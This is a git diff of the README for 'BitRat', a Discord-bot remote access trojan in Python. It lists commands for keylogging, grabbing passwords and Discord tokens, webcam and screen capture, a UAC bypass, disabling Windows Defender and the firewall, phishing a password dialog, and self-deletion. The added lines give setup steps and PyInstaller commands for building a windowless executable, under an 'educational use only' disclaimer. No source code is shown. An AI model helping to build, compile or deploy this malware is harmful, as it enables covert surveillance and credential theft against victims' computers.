|
1 | 1 | # BitRat |
2 | 2 | Python script to create a Rat stealing tokens, etc. |
3 | 3 |
|
4 | | -[FOR EDUCATIONAL PURPOSES ONLY] |
| 4 | +## **Disclaimer:** |
| 5 | + |
| 6 | +This tool is for educational use only, the author will not be held responsible for any misuse of this tool. |
| 7 | + |
5 | 8 |
|
6 | 9 | # How to use |
7 | | -1. Dowload the code as a .zip fil |
8 | | -2. Unpack it with winrar or a other unzipping software |
9 | | -3. Run the setup.bat file to install all the libraries automatically or install all the required libraries yourself |
10 | | -4. Run the BitRat.py file |
| 10 | +1. Register a Bot on th discord developer portal and add it to your guild (needs admin perms) |
| 11 | +2. Copy the bot token, and paste it at line 16 |
| 12 | +3. Run the setup.bat to install all the required libraries |
| 13 | +4. Then run the BitRat.py and if all previous steps were successfull it should send a message to a new channel on your Guild |
| 14 | +5. Your Bot is now ready to be used |
11 | 15 |
|
12 | | -# Commands |
| 16 | +**Compiling to exe (optional):**\ |
| 17 | +If you want to compile the bot to exe you can use PyInstaller.\ |
| 18 | +Inside the directory of the bot execute |
| 19 | +``` |
| 20 | +PyInstaller --onefile --noconsole DiscordRAT.py |
| 21 | +``` |
| 22 | +Or |
| 23 | +``` |
| 24 | +python3 -m PyInstaller --onefile --noconsole "DiscordRAT.py" |
| 25 | +``` |
| 26 | +If an error occured during compiling try to import the discord module |
| 27 | +``` |
| 28 | +PyInstaller --onefile --noconsole --hidden-import=discord DiscordRAT.py |
| 29 | +``` |
13 | 30 |
|
14 | | -- !message = Show a message box displaying your text / Syntax = "!message example" |
15 | | -- !shell = Execute a shell command /Syntax = "!shell whoami" |
16 | | -- !windowstart = Start logging current user window (logging is shown in the bot activity) |
17 | | -- !windowstop = Stop logging current user window |
18 | | -- !voice = Make a voice say outloud a custom sentence / Syntax = "!voice test" |
19 | | -- !admincheck = Check if program has admin privileges |
20 | | -- !sysinfo = Gives info about infected computer |
21 | | -- !history = Get chrome browser history |
22 | | -- !download = Download a file from infected computer |
23 | | -- !upload = Upload file to the infected computer / Syntax = "!upload file.png" (with attachment) |
24 | | -- !cd = Changes directory |
25 | | -- !delete = deletes a file / Syntax = "!delete /path to/the/file.txt" |
26 | | -- !write = Type your desired sentence on computer / Type "enter" to press the enter button on the computer |
27 | | -- !wallpaper = Change infected computer wallpaper / Syntax = "!wallpaper" (with attachment) |
28 | | -- !clipboard = Retrieve infected computer clipboard content |
29 | | -- !geolocate = Geolocate computer using latitude and longitude of the ip adress with google map / Warning : Geolocating IP adresses is not very precise |
30 | | -- !startkeylogger = Starts a keylogger |
31 | | -- !stopkeylogger = Stops keylogger |
32 | | -- !dumpkeylogger = Dumps the keylog |
33 | | -- !volumemax = Put volume to max |
34 | | -- !volumezero = Put volume at 0 |
35 | | -- !idletime = Get the idle time of user's on target computer |
36 | | -- !listprocess = Get all process |
37 | | -- !blockinput = Blocks user's keyboard and mouse / Warning : Admin rights are required |
38 | | -- !unblockinput = Unblocks user's keyboard and mouse / Warning : Admin rights are required |
39 | | -- !screenshot = Get the screenshot of the user's current screen |
40 | | -- !exit = Exit program |
41 | | -- !kill = Kill a session or all sessions / Syntax = "!kill session-3" or "!kill all" |
42 | | -- !uacbypass = attempt to bypass uac to gain admin by using fod helper |
43 | | -- !passwords = grab all passwords |
44 | | -- !streamscreen = stream screen by sending multiple pictures |
45 | | -- !stopscreen = stop screen stream |
46 | | -- !shutdown = shutdown computer |
47 | | -- !restart = restart computer |
48 | | -- !logoff = log off current user |
49 | | -- !bluescreen = BlueScreen PC |
50 | | -- !displaydir = display all items in current dir |
51 | | -- !currentdir = display the current dir |
52 | | -- !dateandtime = display system date and time |
53 | | -- !prockill = kill a process by name / syntax = "!kill process.exe" |
54 | | -- !recscreen = record screen for certain amount of time / syntax = "!recscreen 10" |
55 | | -- !recaudio = record audio for certain amount of time / syntax = "!recaudio 10" |
56 | | -- !disableantivirus = permanently disable windows defender(requires admin) |
57 | | -- !disablefirewall = disable windows firewall (requires admin) |
58 | | -- !audio = play a audio file on the target computer(.wav only) / Syntax = "!audio" (with attachment) |
59 | | -- !selfdestruct = delete all traces that this program was on the target PC |
60 | | -- !windowspass = attempt to phish password by poping up a password dialog |
61 | | -- !displayoff = turn off the monitor(Admin rights are required) |
62 | | -- !displayon = turn on the monitors(Admin rights are required) |
63 | | -- !hide = hide the file by changing the attribute to hidden |
64 | | -- !unhide = unhide the file the removing the attribute to make it unhidden |
65 | | -- !ejectcd = eject the cd drive on computer |
66 | | -- !retractcd = retract the cd drive on the computer |
67 | | -- !critproc = make program a critical process. meaning if its closed the computer will bluescreen(Admin rights are required) |
68 | | -- !uncritproc = if the process is a critical process it will no longer be a critical process meaning it can be closed without bluescreening(Admin rights are required) |
69 | | -- !website = open a website on the infected computer / syntax = "!website google.com" or "!website www.google.com" |
70 | | -- !distaskmgr = disable task manager(Admin rights are required) |
71 | | -- !enbtaskmgr = enable task manager(if disabled)(Admin rights are required) |
72 | | -- !getwifipass = get all the wifi passwords on the current device(Admin rights are required) |
73 | | -- !startup = add file to startup(when computer go on this file starts)(Admin rights are required) |
74 | | -- !getdiscordtokens = get discord token ONLY! (also decrypts them) |
| 31 | +## **Modules** |
| 32 | +``` |
| 33 | +Availaible commands are : |
| 34 | +--> !message = Show a message box displaying your text / Syntax = "!message example" |
| 35 | +--> !shell = Execute a shell command /Syntax = "!shell whoami" |
| 36 | +--> !webcampic = Take a picture from the webcam |
| 37 | +--> !windowstart = Start logging current user window (logging is shown in the bot activity) |
| 38 | +--> !windowstop = Stop logging current user window |
| 39 | +--> !voice = Make a voice say outloud a custom sentence / Syntax = "!voice test" |
| 40 | +--> !admincheck = Check if program has admin privileges |
| 41 | +--> !sysinfo = Gives info about infected computer |
| 42 | +--> !history = Get computer navigation history |
| 43 | +--> !download = Download a file from infected computer |
| 44 | +--> !upload = Upload file from website to computer / Syntax = "!upload file.png" (with attachment) |
| 45 | +--> !cd = Changes directory |
| 46 | +--> !write = Type your desired sentence on infected computer |
| 47 | +--> !wallpaper = Change infected computer wallpaper / Syntax = "!wallpaper" (with attachment) |
| 48 | +--> !clipboard = Retrieve infected computer clipboard content |
| 49 | +--> !geolocate = Geolocate computer using latitude and longitude of the ip adress with google map / Warning : Geolocating IP adresses is not very precise |
| 50 | +--> !startkeylogger = Starts a keylogger / Warning : Likely to trigger AV |
| 51 | +--> !stopkeylogger = Stops keylogger |
| 52 | +--> !dumpkeylogger = Dumps the keylog |
| 53 | +--> !volumemax = Put volume at 100% |
| 54 | +--> !volumezero = Put volume at 0% |
| 55 | +--> !idletime = Get the idle time of user's on target computer |
| 56 | +--> !sing = Play chosen video in background |
| 57 | +--> !stopsing = Stop video playing in background |
| 58 | +--> !blockinput = Blocks user's keyboard and mouse / Warning : Admin rights are required |
| 59 | +--> !unblockinput = Unblocks user's keyboard and mouse / Warning : Admin rights are required |
| 60 | +--> !screenshot = Get the screenshot of the user's current screen |
| 61 | +--> !exit = Exit program |
| 62 | +--> !kill = Kill a session or all sessions except current one / Syntax = "!kill session-3" or "!kill all" |
| 63 | +``` |
75 | 64 |
|
76 | 65 | # Achievements |
77 | 66 |
|
|
0 commit comments